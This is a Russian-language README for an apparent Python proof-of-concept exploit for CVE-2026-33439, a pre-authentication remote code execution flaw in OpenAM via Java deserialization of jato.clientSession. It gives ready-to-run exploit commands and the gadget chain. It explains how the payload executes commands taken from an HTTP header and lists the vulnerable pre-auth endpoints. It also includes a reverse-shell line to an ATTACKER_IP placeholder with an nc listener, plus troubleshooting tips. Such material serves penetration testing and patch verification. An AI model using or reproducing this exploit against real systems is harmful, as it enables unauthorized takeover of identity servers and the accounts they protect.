Python PoC, эксплуатирующий CVE-2026-33439 — pre-auth RCE в OpenAM через Java-десериализацию параметра jato.clientSession, с интерактивным и слепым режимами шелла.
Удалённое выполнение кода до аутентификации в OpenIdentityPlatform OpenAM <= 16.0.5 через небезопасную десериализацию Java параметра jato.clientSession (CVSS 9.8).
Только для авторизованного тестирования безопасности.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — должен соответствовать версии JVM целевого сервера; JDK 25 создаёт несовместимые сериализованные объекты)EvilTranslet читает HTTP-заголовок cmd из запроса, выполняет его и записывает stdout непосредственно в HTTP-ответ. Слушатель не требуется.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
Команда встраивается в байт-код EvilTranslet. Вывод не возвращается; используйте слушатель (nc и т. п.) для перехвата обратных подключений.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| Флаг | Описание |
|---|---|
| (без флагов) | Собрать интерактивный payload (читает заголовок cmd во время выполнения) |
--command "CMD" | Собрать слепой payload с командой CMD, встроенной в байт-код |
--jars DIR | Использовать локальный каталог JAR вместо загрузки (по умолчанию: ./libs) |
--download-only | Только загрузить JAR, не компилировать |
exploit.py| Флаг | Описание |
|---|---|
--url URL | Целевой URL (обязательно) — полный endpoint или базовый URL с --probe/--all |
--shell | Интерактивный псевдо-shell (интерактивный режим) |
--probe | Автоопределение уязвимого endpoint по базовому URL |
--all | Доставить payload во ВСЕ JATO endpoints (слепой режим) |
--method GET|POST | Метод доставки по HTTP (по умолчанию: GET) |
--proxy URL | HTTP-прокси (например, http://127.0.0.1:8080 для Burp) |
--timeout SECS | Таймаут запроса (по умолчанию: 15) |
--verify-tls | Включить проверку TLS-сертификата |
--debug | Показывать детали запроса/ответа |
Весь исходный код находится в репозитории — никаких непрозрачных бинарных объектов. Исходники Java встроены в build.py в виде читаемых строковых констант. После сборки проверьте результат:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — получить HTTP-запрос/ответ через загрузчик классов веб-приложенияrequest.getHeader("cmd") — прочитать командуnew ProcessBuilder("/bin/sh", "-c", cmd) — выполнитьresponse.reset() — очистить предыдущий вывод JSPtext/plain, затем закрыть выходной потокRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — выполнить и забытьЛюбой endpoint JATO ViewBean, отрисовывающий теги <jato:form>, доступный до аутентификации:
| Endpoint | Примечания |
|---|---|
/openam/ui/PWResetUserValidation | Сброс пароля (наиболее надёжный) |
/openam/ui/PWResetQuestion | Контрольные вопросы для сброса пароля |
/openam/ui/Login | Страница входа |
| Симптом | Причина | Решение |
|---|---|---|
| Возвращается HTML-страница вместо вывода команды | JSP перезаписывает ответ | Используйте --shell с интерактивным payload; или переключитесь на слепой режим |
| Десериализация не срабатывает | Несовпадение версии JDK | Пересоберите с JDK 21: export JAVA_HOME=/path/to/jdk-21 |
| Таймаут TLS-рукопожатия | Сервер требует SNI-имя хоста | Добавьте цель в /etc/hosts и используйте имя хоста, а не IP |
javac не найден | JDK не установлен | apt install openjdk-21-jdk |
MIT